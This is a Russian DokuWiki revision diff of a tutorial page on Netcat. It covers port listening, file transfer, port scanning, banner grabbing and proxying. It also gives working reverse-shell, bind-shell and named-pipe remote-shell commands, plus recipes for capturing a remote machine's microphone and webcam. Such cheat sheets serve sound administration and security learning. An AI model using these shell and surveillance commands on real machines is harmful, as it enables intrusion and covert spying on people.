Различия
Показаны различия между двумя версиями страницы.
Предыдущая версия справа и слева Предыдущая версия Следующая версия | Предыдущая версия | ||
networks:nc [2024/04/10 21:47] – mirocow | networks:nc [2024/04/11 19:23] (текущий) – mirocow | ||
---|---|---|---|
Строка 1: | Строка 1: | ||
- | {{tag> | + | {{tag> |
{{tag> | {{tag> | ||
Строка 5: | Строка 5: | ||
====== Netcat ====== | ====== Netcat ====== | ||
- | Netcat - это сетевой инструмент. | + | Netcat - это сетевой инструмент, её основная задача – проверка портов. |
<code bash> | <code bash> | ||
Строка 35: | Строка 35: | ||
Утилита netcat по сути не делает ничего, | Утилита netcat по сути не делает ничего, | ||
+ | |||
+ | ===== Прослушивание порта ===== | ||
+ | |||
+ | <code bash> | ||
+ | $ nc -nlv 8080 > / | ||
+ | $ echo -n "GET / HTTP/ | ||
+ | $ cat / | ||
+ | </ | ||
+ | |||
+ | ===== Получать сообщения ===== | ||
+ | |||
+ | <code bash> | ||
+ | $ nc -lp 8080 > / | ||
+ | $ nc 0.0.0.0 8080 | ||
+ | $ cat / | ||
+ | </ | ||
===== Передавать файлы ===== | ===== Передавать файлы ===== | ||
+ | |||
(первую команду выполняем на принимающей машине, | (первую команду выполняем на принимающей машине, | ||
+ | <code bash> | ||
$ nc -l 31334 > filename | $ nc -l 31334 > filename | ||
$ nc 172.16.69.143 31334 < filename | $ nc 172.16.69.143 31334 < filename | ||
+ | </ | ||
===== Удаленно читать логи ===== | ===== Удаленно читать логи ===== | ||
+ | |||
(первая - сервер, | (первая - сервер, | ||
+ | <code bash> | ||
$ nc -f / | $ nc -f / | ||
$ nc 172.16.69.143 31334 | $ nc 172.16.69.143 31334 | ||
+ | </ | ||
===== Использовать вместо telnet ===== | ===== Использовать вместо telnet ===== | ||
+ | |||
(первая - telnet-сервер, | (первая - telnet-сервер, | ||
+ | <code bash> | ||
$ nc -l -p 31334 -e /bin/sh | $ nc -l -p 31334 -e /bin/sh | ||
$ nc 172.16.69.143 31334 | $ nc 172.16.69.143 31334 | ||
- | | + | </ |
===== Сканировать на открытые порты ===== | ===== Сканировать на открытые порты ===== | ||
- | | + | <code bash> |
- | + | $ nc -z execbit.ru 1-1024 | |
+ | $ nc -vz 192.168.1.132 1-1000 2>&1 | grep succeeded --color | ||
+ | $ nc -vzu 192.168.1.132 1-1000 2>&1 | grep succeeded --color | ||
+ | </ | ||
+ | |||
+ | ===== Создавать удалённую оболочку ===== | ||
+ | |||
+ | Сначала удалим старый именованный канал (rm /tmp/f), на его месте создадим новый (mkfifo /tmp/f), прочитаем его содержимое (cat /tmp/f), а на его вывод отправим команду оболочки (sh -i 2>& | ||
+ | После этого останется запустить nc с выводом в наш именованный канал (nc 192.168.1.132 8080 >/ | ||
+ | |||
+ | <code bash> | ||
+ | $ nc -lvnp 8080 | ||
+ | $ rm / | ||
+ | </ | ||
===== Осуществлять фингерпринт сервисов на основе баннеров ===== | ===== Осуществлять фингерпринт сервисов на основе баннеров ===== | ||
+ | <code bash> | ||
$ echo " | $ echo " | ||
- | | + | </ |
===== Организовывать обратный шелл ===== | ===== Организовывать обратный шелл ===== | ||
+ | |||
(первая - клиент, | (первая - клиент, | ||
+ | <code bash> | ||
$ nc -e /bin/sh 172.16.69.143 31334 | $ nc -e /bin/sh 172.16.69.143 31334 | ||
$ nc -l -p 31334 | $ nc -l -p 31334 | ||
- | | + | </ |
===== Делать микрофонную запись с удаленной машины ===== | ===== Делать микрофонную запись с удаленной машины ===== | ||
+ | |||
(сервер, | (сервер, | ||
+ | <code bash> | ||
$ arecord -f dat -t raw | nc -l 31337 | $ arecord -f dat -t raw | nc -l 31337 | ||
$ nc 172.16.69.143 31337 | oggenc - -r -o nc.ogg | $ nc 172.16.69.143 31337 | oggenc - -r -o nc.ogg | ||
- | | + | </ |
===== Получать снимки с web-камеры удаленной машины ===== | ===== Получать снимки с web-камеры удаленной машины ===== | ||
+ | |||
(сервер, | (сервер, | ||
+ | <code bash> | ||
$ while [ 1 ]; do streamer -o / | $ while [ 1 ]; do streamer -o / | ||
$ nc localhost 31337 > photo.jpeg | $ nc localhost 31337 > photo.jpeg | ||
- | | + | </ |
Однако, | Однако, | ||
Особого внимания заслуживает netcat, распространяемый вместе с BSD-системами, | Особого внимания заслуживает netcat, распространяемый вместе с BSD-системами, | ||
+ | <code bash> | ||
$ nc -e 'in ipsec esp/ | $ nc -e 'in ipsec esp/ | ||
172.16.69.143 31334 | 172.16.69.143 31334 | ||
- | | + | </ |
Кроме того, BSD Netcat способен подключаться к удаленной машине через прокси: | Кроме того, BSD Netcat способен подключаться к удаленной машине через прокси: | ||
+ | <code bash> | ||
$ nc -x172.16.64.1: | $ nc -x172.16.64.1: | ||
+ | </ | ||
В этом примере прокси находится по адресу 172.16.64.1: | В этом примере прокси находится по адресу 172.16.64.1: | ||
Строка 95: | Строка 149: | ||
Сам netcat легко использовать в качестве прокси или редиректора портов, | Сам netcat легко использовать в качестве прокси или редиректора портов, | ||
- | # echo ' | + | <code bash> |
- | | + | $ echo ' |
+ | | ||
>> / | >> / | ||
- | | + | |
+ | </ | ||
Теперь весь трафик, | Теперь весь трафик, | ||
Строка 104: | Строка 160: | ||
Кстати, | Кстати, | ||
- | $ echo / | + | cat / |
- | | + | < |
service redirect-2525-to-25 | service redirect-2525-to-25 | ||
{ | { | ||
Строка 117: | Строка 173: | ||
user = nobody | user = nobody | ||
} | } | ||
+ | </ | ||
+ | |||
+ | ===== Сетевые утилиты ===== | ||
+ | |||
+ | |||
+ | {{topic> |